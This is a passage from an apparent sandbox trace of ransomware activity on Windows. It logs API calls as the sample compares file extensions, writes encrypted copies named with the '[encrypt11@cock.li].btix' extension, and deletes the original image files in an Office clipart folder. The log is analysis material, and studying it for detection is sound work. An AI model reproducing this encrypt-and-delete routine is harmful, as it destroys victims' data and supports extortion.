[0154.541] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0154.541] lstrlenW (lpString=".jpg") returned 4 [0154.541] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.544] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.544] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0154.582] GetLastError () returned 0x0 [0154.582] ReadFile (in: hFile=0x35c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x7c6a, lpOverlapped=0x0) returned 1 [0154.593] WriteFile (in: hFile=0x358, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x7c70, lpOverlapped=0x0) returned 1 [0154.594] ReadFile (in: hFile=0x35c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.594] WriteFile (in: hFile=0x358, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.594] SetEndOfFile (hFile=0x358) returned 1 [0154.596] CloseHandle (hObject=0x358) returned 1 [0154.596] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.596] SetEndOfFile (hFile=0x35c) returned 1 [0154.599] CloseHandle (hObject=0x35c) returned 1 [0154.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0154.603] lstrlenW (lpString=".doc") returned 4 [0154.603] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.603] lstrlenW (lpString=".docx") returned 5 [0154.603] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0154.603] lstrlenW (lpString=".pdf") returned 4 [0154.603] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.603] lstrlenW (lpString=".xls") returned 4 [0154.603] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.603] lstrlenW (lpString=".xlsx") returned 5 [0154.603] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0154.603] lstrlenW (lpString=".ppt") returned 4 [0154.603] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0154.603] lstrlenW (lpString=".zip") returned 4 [0154.603] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.603] lstrlenW (lpString=".rar") returned 4 [0154.603] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.603] lstrlenW (lpString=".bz2") returned 4 [0154.603] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.603] lstrlenW (lpString=".7z") returned 3 [0154.603] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0154.603] lstrlenW (lpString=".dbf") returned 4 [0154.603] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0154.603] lstrlenW (lpString=".1cd") returned 4 [0154.603] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0154.604] lstrlenW (lpString=".jpg") returned 4 [0154.604] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.608] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.608] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0154.611] GetLastError () returned 0x0 [0154.611] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x107d4, lpOverlapped=0x0) returned 1 [0154.615] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x107e0, lpOverlapped=0x0) returned 1 [0154.618] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.618] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.618] SetEndOfFile (hFile=0x348) returned 1 [0154.622] CloseHandle (hObject=0x348) returned 1 [0154.624] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.624] SetEndOfFile (hFile=0x38c) returned 1 [0154.631] CloseHandle (hObject=0x38c) returned 1 [0154.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0154.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0154.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0154.635] lstrlenW (lpString=".doc") returned 4 [0154.635] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.635] lstrlenW (lpString=".docx") returned 5 [0154.635] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0154.635] lstrlenW (lpString=".pdf") returned 4 [0154.635] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.635] lstrlenW (lpString=".xls") returned 4 [0154.635] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.635] lstrlenW (lpString=".xlsx") returned 5 [0154.635] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0154.635] lstrlenW (lpString=".ppt") returned 4 [0154.635] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0154.635] lstrlenW (lpString=".zip") returned 4 [0154.635] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.636] lstrlenW (lpString=".rar") returned 4 [0154.636] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.636] lstrlenW (lpString=".bz2") returned 4 [0154.636] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.636] lstrlenW (lpString=".7z") returned 3 [0154.636] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0154.636] lstrlenW (lpString=".dbf") returned 4 [0154.636] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0154.636] lstrlenW (lpString=".1cd") returned 4 [0154.636] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0154.636] lstrlenW (lpString=".jpg") returned 4 [0154.636] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.637] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.637] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0154.655] GetLastError () returned 0x0 [0154.655] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xb544, lpOverlapped=0x0) returned 1 [0154.664] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xb550, lpOverlapped=0x0) returned 1 [0154.666] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.666] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.666] SetEndOfFile (hFile=0x348) returned 1 [0154.666] CloseHandle (hObject=0x348) returned 1 [0154.666] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.666] SetEndOfFile (hFile=0x358) returned 1 [0154.667] CloseHandle (hObject=0x358) returned 1 [0154.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0154.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0154.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0154.667] lstrlenW (lpString=".doc") returned 4 [0154.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString=".docx") returned 5 [0154.668] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.668] lstrlenW (lpString=".pdf") returned 4 [0154.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString=".xls") returned 4 [0154.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.668] lstrlenW (lpString=".xlsx") returned 5 [0154.668] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.668] lstrlenW (lpString=".ppt") returned 4 [0154.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0154.668] lstrlenW (lpString=".zip") returned 4 [0154.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.668] lstrlenW (lpString=".rar") returned 4 [0154.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString=".bz2") returned 4 [0154.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString=".7z") returned 3 [0154.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0154.668] lstrlenW (lpString=".dbf") returned 4 [0154.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0154.668] lstrlenW (lpString=".1cd") returned 4 [0154.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0154.668] lstrlenW (lpString=".jpg") returned 4 [0154.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.669] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.669] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0154.670] GetLastError () returned 0x0 [0154.670] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1104, lpOverlapped=0x0) returned 1 [0154.685] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1110, lpOverlapped=0x0) returned 1 [0154.686] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.686] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.686] SetEndOfFile (hFile=0x348) returned 1 [0154.686] CloseHandle (hObject=0x348) returned 1 [0154.686] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.686] SetEndOfFile (hFile=0x358) returned 1 [0154.687] CloseHandle (hObject=0x358) returned 1 [0154.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0154.687] lstrlenW (lpString=".doc") returned 4 [0154.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.687] lstrlenW (lpString=".docx") returned 5 [0154.687] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0154.687] lstrlenW (lpString=".pdf") returned 4 [0154.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString=".xls") returned 4 [0154.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.688] lstrlenW (lpString=".xlsx") returned 5 [0154.688] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0154.688] lstrlenW (lpString=".ppt") returned 4 [0154.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0154.688] lstrlenW (lpString=".zip") returned 4 [0154.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.688] lstrlenW (lpString=".rar") returned 4 [0154.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString=".bz2") returned 4 [0154.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString=".7z") returned 3 [0154.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0154.688] lstrlenW (lpString=".dbf") returned 4 [0154.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0154.688] lstrlenW (lpString=".1cd") returned 4 [0154.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0154.688] lstrlenW (lpString=".jpg") returned 4 [0154.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.689] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.689] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0154.689] GetLastError () returned 0x0 [0154.690] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x3928, lpOverlapped=0x0) returned 1 [0154.700] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3930, lpOverlapped=0x0) returned 1 [0154.701] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.701] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.701] SetEndOfFile (hFile=0x348) returned 1 [0154.701] CloseHandle (hObject=0x348) returned 1 [0154.701] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.701] SetEndOfFile (hFile=0x358) returned 1 [0154.702] CloseHandle (hObject=0x358) returned 1 [0154.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0154.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0154.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0154.703] lstrlenW (lpString=".doc") returned 4 [0154.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString=".docx") returned 5 [0154.703] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0154.703] lstrlenW (lpString=".pdf") returned 4 [0154.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString=".xls") returned 4 [0154.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.703] lstrlenW (lpString=".xlsx") returned 5 [0154.703] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0154.703] lstrlenW (lpString=".ppt") returned 4 [0154.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0154.703] lstrlenW (lpString=".zip") returned 4 [0154.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.703] lstrlenW (lpString=".rar") returned 4 [0154.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString=".bz2") returned 4 [0154.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString=".7z") returned 3 [0154.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0154.703] lstrlenW (lpString=".dbf") returned 4 [0154.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0154.703] lstrlenW (lpString=".1cd") returned 4 [0154.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0154.703] lstrlenW (lpString=".jpg") returned 4 [0154.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.706] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.706] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0154.706] GetLastError () returned 0x0 [0154.706] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2988, lpOverlapped=0x0) returned 1 [0154.862] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2990, lpOverlapped=0x0) returned 1 [0154.863] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.863] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.863] SetEndOfFile (hFile=0x348) returned 1 [0155.153] CloseHandle (hObject=0x348) returned 1 [0155.153] SetFilePointerEx (in: 